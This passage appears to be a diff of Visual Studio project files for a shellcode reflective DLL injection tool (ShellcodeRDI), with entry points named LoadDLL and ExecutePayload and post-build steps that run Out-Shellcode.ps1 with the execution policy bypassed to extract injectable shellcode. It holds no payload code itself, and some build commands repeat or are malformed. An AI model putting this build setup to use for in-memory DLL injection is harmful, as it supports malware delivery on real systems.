<ForceConformanceInForLoopScope />
<ExpandAttributedSource />
<GenerateXMLDocumentationFiles />
<BrowseInformation />
<ErrorReporting />
<TreatWarningAsError />
<UndefineAllPreprocessorDefinitions />
<PreprocessToFile />
<PreprocessSuppressLineNumbers />
<SmallerTypeCheck />
<RuntimeLibrary />
<StructMemberAlignment />
<TreatWChar_tAsBuiltInType />
<PrecompiledHeaderFile />
<PrecompiledHeaderOutputFile />
<ShowIncludes />
<UseFullPaths />
<AssemblerOutput>AssemblyCode</AssemblerOutput>
<ProgramDataBaseFileName />
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<ShowProgress />
<PerUserRedirection />
<ManifestFile />
<UACExecutionLevel />
<UACUIAccess />
<MapExports />
<SwapRunFromCD />
<SwapRunFromNET />
<TypeLibraryResourceID />
<NoEntryPoint />
<SetChecksum>false</SetChecksum>
<RandomizedBaseAddress />
<TurnOffAssemblyGeneration />
<Profile />
<RegisterOutput />
<AdditionalDependencies>
</AdditionalDependencies>
<AllowIsolation />
<EnableUAC />
<GenerateMapFile>true</GenerateMapFile>
<FunctionOrder>function_link_order.txt</FunctionOrder>
<IgnoreEmbeddedIDL />
<DataExecutionPrevention />
<EntryPointSymbol>LoadDLL</EntryPointSymbol>
<LinkErrorReporting />
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<ProgramDatabaseFile />
<MergeSections>
</MergeSections>
<ProfileGuidedDatabase />
</Link>
<ProjectReference>
<UseLibraryDependencyInputs />
</ProjectReference>
<Manifest>
<SuppressStartupBanner />
</Manifest>
<Manifest>
<VerboseOutput />
</Manifest>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Message>
</Message>
</PreBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File "$(SolutionDir)lib\PowerShell\Out-Shellcode.ps1" "$(OutDir)$(TargetName)$(TargetExt)" "$(OutDir)$(TargetName).map" "$(SolutionDir)bin\$(TargetName)_x86.bin"</Command>
</PostBuildEvent>
<PostBuildEvent>
<Message>Extract position independent shellcode</Message>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>
</FunctionLevelLinking>
<IntrinsicFunctions>
</IntrinsicFunctions>
<PreprocessorDefinitions>
</PreprocessorDefinitions>
<CompileAs>CompileAsC</CompileAs>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>
</OmitFramePointers>
<OmitDefaultLibName>true</OmitDefaultLibName>
<BufferSecurityCheck>false</BufferSecurityCheck>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BasicRuntimeChecks>
</BasicRuntimeChecks>
<DisableLanguageExtensions>
</DisableLanguageExtensions>
<CallingConvention>
</CallingConvention>
<InlineFunctionExpansion>
</InlineFunctionExpansion>
<EnableFiberSafeOptimizations>
</EnableFiberSafeOptimizations>
<IgnoreStandardIncludePath>
</IgnoreStandardIncludePath>
<PreprocessKeepComments>
</PreprocessKeepComments>
<MinimalRebuild>
</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<EnableEnhancedInstructionSet>
</EnableEnhancedInstructionSet>
<FloatingPointModel>
</FloatingPointModel>
<ForceConformanceInForLoopScope>
</ForceConformanceInForLoopScope>
<ExpandAttributedSource>
</ExpandAttributedSource>
<GenerateXMLDocumentationFiles>
</GenerateXMLDocumentationFiles>
<BrowseInformation>
</BrowseInformation>
<ErrorReporting>
</ErrorReporting>
<TreatWarningAsError>
</TreatWarningAsError>
<UndefineAllPreprocessorDefinitions>
</UndefineAllPreprocessorDefinitions>
<PreprocessToFile>
</PreprocessToFile>
<PreprocessSuppressLineNumbers>
</PreprocessSuppressLineNumbers>
<SmallerTypeCheck>
</SmallerTypeCheck>
<RuntimeLibrary>
</RuntimeLibrary>
<StructMemberAlignment>
</StructMemberAlignment>
<TreatWChar_tAsBuiltInType>
</TreatWChar_tAsBuiltInType>
<PrecompiledHeaderFile>
</PrecompiledHeaderFile>
<PrecompiledHeaderOutputFile>
</PrecompiledHeaderOutputFile>
<ShowIncludes>
</ShowIncludes>
<UseFullPaths>
</UseFullPaths>
<AssemblerOutput>AssemblyCode</AssemblerOutput>
<ProgramDataBaseFileName>
</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<ShowProgress>
</ShowProgress>
<PerUserRedirection>
</PerUserRedirection>
<ManifestFile>
</ManifestFile>
<UACExecutionLevel>
</UACExecutionLevel>
<UACUIAccess>
</UACUIAccess>
<MapExports>
</MapExports>
<SwapRunFromCD>
</SwapRunFromCD>
<SwapRunFromNET>
</SwapRunFromNET>
<TypeLibraryResourceID>
</TypeLibraryResourceID>
<NoEntryPoint>
</NoEntryPoint>
<SetChecksum>false</SetChecksum>
<RandomizedBaseAddress>
</RandomizedBaseAddress>
<TurnOffAssemblyGeneration>
</TurnOffAssemblyGeneration>
<Profile>
</Profile>
<RegisterOutput>
</RegisterOutput>
<AdditionalDependencies>
</AdditionalDependencies>
<AllowIsolation>
</AllowIsolation>
<EnableUAC>
</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<FunctionOrder>function_link_order.txt</FunctionOrder>
<IgnoreEmbeddedIDL>
</IgnoreEmbeddedIDL>
<DataExecutionPrevention>
</DataExecutionPrevention>
<EntryPointSymbol>ExecutePayload</EntryPointSymbol>
<LinkErrorReporting>
</LinkErrorReporting>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<ProgramDatabaseFile>
</ProgramDatabaseFile>
<MergeSections>
</MergeSections>
<ProfileGuidedDatabase>
</ProfileGuidedDatabase>
</Link>
<ProjectReference>
<UseLibraryDependencyInputs>
</UseLibraryDependencyInputs>
</ProjectReference>
<Manifest>
<SuppressStartupBanner>
</SuppressStartupBanner>
</Manifest>
<Manifest>
<VerboseOutput>
</VerboseOutput>
</Manifest>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Message>
</Message>
</PreBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File "$(SolutionDir)lib\PowerShell\Out-Shellcode.ps1" "$(OutDir)$(TargetName)$(TargetExt)" "$(OutDir)$(TargetName).map" "$(SolutionDir)bin\$(TargetName)_x86.bin"</Command>
</PostBuildEvent>
<PostBuildEvent>
<Message>Extract position independent shellcode</Message>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>
</FunctionLevelLinking>
<IntrinsicFunctions>
</IntrinsicFunctions>
<PreprocessorDefinitions>
</PreprocessorDefinitions>
<CompileAs>CompileAsC</CompileAs>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>
</OmitFramePointers>
<OmitDefaultLibName>true</OmitDefaultLibName>
<BufferSecurityCheck>false</BufferSecurityCheck>
<DebugInformationFormat>
</DebugInformationFormat>
<BasicRuntimeChecks>
</BasicRuntimeChecks>
<DisableLanguageExtensions>
</DisableLanguageExtensions>
<CallingConvention>
</CallingConvention>
<InlineFunctionExpansion>
</InlineFunctionExpansion>
<EnableFiberSafeOptimizations>
</EnableFiberSafeOptimizations>
<IgnoreStandardIncludePath>
</IgnoreStandardIncludePath>
<PreprocessKeepComments>
</PreprocessKeepComments>
<MinimalRebuild>
</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<EnableEnhancedInstructionSet>
</EnableEnhancedInstructionSet>
<FloatingPointModel>
</FloatingPointModel>
<ForceConformanceInForLoopScope>
</ForceConformanceInForLoopScope>
<ExpandAttributedSource>
</ExpandAttributedSource>
<GenerateXMLDocumentationFiles>
</GenerateXMLDocumentationFiles>
<BrowseInformation>
</BrowseInformation>
<ErrorReporting>
</ErrorReporting>
<TreatWarningAsError>
</TreatWarningAsError>
<UndefineAllPreprocessorDefinitions>
</UndefineAllPreprocessorDefinitions>
<PreprocessToFile>
</PreprocessToFile>
<PreprocessSuppressLineNumbers>
</PreprocessSuppressLineNumbers>
<SmallerTypeCheck>
</SmallerTypeCheck>
<RuntimeLibrary>
</RuntimeLibrary>
<StructMemberAlignment>
</StructMemberAlignment>
<TreatWChar_tAsBuiltInType>
</TreatWChar_tAsBuiltInType>
<PrecompiledHeaderFile>
</PrecompiledHeaderFile>
<PrecompiledHeaderOutputFile>
</PrecompiledHeaderOutputFile>
<ShowIncludes>
</ShowIncludes>
<UseFullPaths>
</UseFullPaths>
<AssemblerOutput>AssemblyCode</AssemblerOutput>
<ProgramDataBaseFileName>
</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>
</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<ShowProgress>
</ShowProgress>
<PerUserRedirection>
</PerUserRedirection>
<ManifestFile>
</ManifestFile>
<UACExecutionLevel>
</UACExecutionLevel>
<UACUIAccess>
</UACUIAccess>
<MapExports>
</MapExports>
<SwapRunFromCD>
</SwapRunFromCD>
<SwapRunFromNET>
</SwapRunFromNET>
<TypeLibraryResourceID>
</TypeLibraryResourceID>
<NoEntryPoint>
</NoEntryPoint>
<SetChecksum>false</SetChecksum>
<RandomizedBaseAddress>
</RandomizedBaseAddress>
<TurnOffAssemblyGeneration>
</TurnOffAssemblyGeneration>
<Profile>
</Profile>
<RegisterOutput>
</RegisterOutput>
<AdditionalDependencies>
</AdditionalDependencies>
<AllowIsolation>
</AllowIsolation>
<EnableUAC>
</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<FunctionOrder>function_link_order.txt</FunctionOrder>
<IgnoreEmbeddedIDL>
</IgnoreEmbeddedIDL>
<DataExecutionPrevention>
</DataExecutionPrevention>
<EntryPointSymbol>ExecutePayload</EntryPointSymbol>
<LinkErrorReporting>
</LinkErrorReporting>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<ProgramDatabaseFile>
</ProgramDatabaseFile>
<ProfileGuidedDatabase>
</ProfileGuidedDatabase>
</Link>
<ProjectReference>
<UseLibraryDependencyInputs>
</UseLibraryDependencyInputs>
</ProjectReference>
<Manifest>
<SuppressStartupBanner>
</SuppressStartupBanner>
</Manifest>
<Manifest>
<VerboseOutput>
</VerboseOutput>
</Manifest>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Message>
</Message>
</PreBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Message>Extract position independent shellcode</Message>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) (OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File $(SolutionDir)lib\PowerShell\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(ProjectDir) $(OutDir)$(TargetName).map $(OutDir)$(TargetName)_shellcode.bin</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>
</FunctionLevelLinking>
<IntrinsicFunctions>
</IntrinsicFunctions>
<PreprocessorDefinitions>
</PreprocessorDefinitions>
<CompileAs>CompileAsC</CompileAs>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<OmitDefaultLibName>true</OmitDefaultLibName>
<BufferSecurityCheck>false</BufferSecurityCheck>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BasicRuntimeChecks>
</BasicRuntimeChecks>
<DisableLanguageExtensions>
</DisableLanguageExtensions>
<CallingConvention>
</CallingConvention>
<InlineFunctionExpansion>
</InlineFunctionExpansion>
<EnableFiberSafeOptimizations>
</EnableFiberSafeOptimizations>
<IgnoreStandardIncludePath>
</IgnoreStandardIncludePath>
<PreprocessKeepComments>
</PreprocessKeepComments>
<MinimalRebuild>
</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<EnableEnhancedInstructionSet>
</EnableEnhancedInstructionSet>
<FloatingPointModel>
</FloatingPointModel>
<ForceConformanceInForLoopScope>
</ForceConformanceInForLoopScope>
<ExpandAttributedSource>
</ExpandAttributedSource>
<GenerateXMLDocumentationFiles>
</GenerateXMLDocumentationFiles>
<BrowseInformation>
</BrowseInformation>
<ErrorReporting>
</ErrorReporting>
<TreatWarningAsError>
</TreatWarningAsError>
<UndefineAllPreprocessorDefinitions>
</UndefineAllPreprocessorDefinitions>
<PreprocessToFile>
</PreprocessToFile>
<PreprocessSuppressLineNumbers>
</PreprocessSuppressLineNumbers>
<SmallerTypeCheck>
</SmallerTypeCheck>
<RuntimeLibrary>
</RuntimeLibrary>
<StructMemberAlignment>
</StructMemberAlignment>
<TreatWChar_tAsBuiltInType>
</TreatWChar_tAsBuiltInType>
<PrecompiledHeaderFile>
</PrecompiledHeaderFile>
<PrecompiledHeaderOutputFile>
</PrecompiledHeaderOutputFile>
<ShowIncludes>
</ShowIncludes>
<UseFullPaths>
</UseFullPaths>
<AssemblerOutput>AssemblyCode</AssemblerOutput>
<ProgramDataBaseFileName />
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<ShowProgress>
</ShowProgress>
<PerUserRedirection>
</PerUserRedirection>
<ManifestFile>
</ManifestFile>
<UACExecutionLevel>
</UACExecutionLevel>
<UACUIAccess>
</UACUIAccess>
<MapExports>
</MapExports>
<SwapRunFromCD>
</SwapRunFromCD>
<SwapRunFromNET>
</SwapRunFromNET>
<TypeLibraryResourceID>
</TypeLibraryResourceID>
<NoEntryPoint>
</NoEntryPoint>
<SetChecksum>false</SetChecksum>
<RandomizedBaseAddress>
</RandomizedBaseAddress>
<TurnOffAssemblyGeneration>
</TurnOffAssemblyGeneration>
<Profile>
</Profile>
<RegisterOutput>
</RegisterOutput>
<AdditionalDependencies>
</AdditionalDependencies>
<AllowIsolation>
</AllowIsolation>
<EnableUAC>
</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<FunctionOrder>function_link_order.txt</FunctionOrder>
<IgnoreEmbeddedIDL>
</IgnoreEmbeddedIDL>
<DataExecutionPrevention>
</DataExecutionPrevention>
<EntryPointSymbol>LoadDLL</EntryPointSymbol>
<LinkErrorReporting>
</LinkErrorReporting>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<ProgramDatabaseFile />
<ProfileGuidedDatabase />
</Link>
<ProjectReference>
<UseLibraryDependencyInputs>
</UseLibraryDependencyInputs>
</ProjectReference>
<Manifest>
<SuppressStartupBanner>
</SuppressStartupBanner>
</Manifest>
<Manifest>
<VerboseOutput>
</VerboseOutput>
</Manifest>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Message>
</Message>
</PreBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File "$(SolutionDir)lib\PowerShell\Out-Shellcode.ps1" "$(OutDir)$(TargetName)$(TargetExt)" "$(OutDir)$(TargetName).map" "$(SolutionDir)bin\$(TargetName)_x64.bin"</Command>
</PostBuildEvent>
<PostBuildEvent>
<Message>Extract position independent shellcode</Message>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>
</FunctionLevelLinking>
<IntrinsicFunctions>
</IntrinsicFunctions>
<PreprocessorDefinitions>
</PreprocessorDefinitions>
<CompileAs>CompileAsC</CompileAs>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>
</OmitFramePointers>
<OmitDefaultLibName>true</OmitDefaultLibName>
<BufferSecurityCheck>false</BufferSecurityCheck>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BasicRuntimeChecks>
</BasicRuntimeChecks>
<DisableLanguageExtensions>
</DisableLanguageExtensions>
<CallingConvention>
</CallingConvention>
<InlineFunctionExpansion>
</InlineFunctionExpansion>
<EnableFiberSafeOptimizations>
</EnableFiberSafeOptimizations>
<IgnoreStandardIncludePath>
</IgnoreStandardIncludePath>
<PreprocessKeepComments>
</PreprocessKeepComments>
<MinimalRebuild>
</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<EnableEnhancedInstructionSet>
</EnableEnhancedInstructionSet>
<FloatingPointModel>
</FloatingPointModel>
<ForceConformanceInForLoopScope>
</ForceConformanceInForLoopScope>
<ExpandAttributedSource>
</ExpandAttributedSource>
<GenerateXMLDocumentationFiles>
</GenerateXMLDocumentationFiles>
<BrowseInformation>
</BrowseInformation>
<ErrorReporting>
</ErrorReporting>
<TreatWarningAsError>
</TreatWarningAsError>
<UndefineAllPreprocessorDefinitions>
</UndefineAllPreprocessorDefinitions>
<PreprocessToFile>
</PreprocessToFile>
<PreprocessSuppressLineNumbers>
</PreprocessSuppressLineNumbers>
<SmallerTypeCheck>
</SmallerTypeCheck>
<RuntimeLibrary>
</RuntimeLibrary>
<StructMemberAlignment>
</StructMemberAlignment>
<TreatWChar_tAsBuiltInType>
</TreatWChar_tAsBuiltInType>
<PrecompiledHeaderFile>
</PrecompiledHeaderFile>
<PrecompiledHeaderOutputFile>
</PrecompiledHeaderOutputFile>
<ShowIncludes>
</ShowIncludes>
<UseFullPaths>
</UseFullPaths>
<AssemblerOutput>AssemblyCode</AssemblerOutput>
<ProgramDataBaseFileName>
</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<ShowProgress>
</ShowProgress>
<PerUserRedirection>
</PerUserRedirection>
<ManifestFile>
</ManifestFile>
<UACExecutionLevel>
</UACExecutionLevel>
<UACUIAccess>
</UACUIAccess>
<MapExports>
</MapExports>
<SwapRunFromCD>
</SwapRunFromCD>
<SwapRunFromNET>
</SwapRunFromNET>
<TypeLibraryResourceID>
</TypeLibraryResourceID>
<NoEntryPoint>
</NoEntryPoint>
<SetChecksum>false</SetChecksum>
<RandomizedBaseAddress>
</RandomizedBaseAddress>
<TurnOffAssemblyGeneration>
</TurnOffAssemblyGeneration>
<Profile>
</Profile>
<RegisterOutput>
</RegisterOutput>
<AdditionalDependencies>
</AdditionalDependencies>
<AllowIsolation>
</AllowIsolation>
<EnableUAC>
</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<FunctionOrder>function_link_order.txt</FunctionOrder>
<IgnoreEmbeddedIDL>
</IgnoreEmbeddedIDL>
<DataExecutionPrevention>
</DataExecutionPrevention>
<EntryPointSymbol>ExecutePayload</EntryPointSymbol>
<LinkErrorReporting>
</LinkErrorReporting>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<ProgramDatabaseFile>
</ProgramDatabaseFile>
<ProfileGuidedDatabase>
</ProfileGuidedDatabase>
</Link>
<ProjectReference>
<UseLibraryDependencyInputs>
</UseLibraryDependencyInputs>
</ProjectReference>
<Manifest>
<SuppressStartupBanner>
</SuppressStartupBanner>
</Manifest>
<Manifest>
<VerboseOutput>
</VerboseOutput>
</Manifest>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Message>
</Message>
</PreBuildEvent>
<PostBuildEvent>
<Command>powershell.exe -NoProfile -ExecutionPolicy Bypass -File $(SolutionDir)lib\PowerShell\Out-Shellcode.ps1 $(OutDir)$(TargetName)$(TargetExt) $(OutDir)$(TargetName).map $(SolutionDir)bin\$(TargetName)_x64.bin</Command>
</PostBuildEvent>
<PostBuildEvent>
<Message>Extract position independent shellcode</Message>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="GetProcAddressWithHash.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="ShellcodeRDI.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="GetProcAddressWithHash.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="ShellcodeRDI.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,2 @@
LoadDLL
GetProcAddressWithHash
Binary file not shown.
+183
View File
@@ -0,0 +1,183 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{558D08E4-48B4-4E5F-94E5-5783CF0557C4}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>TestDLL</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
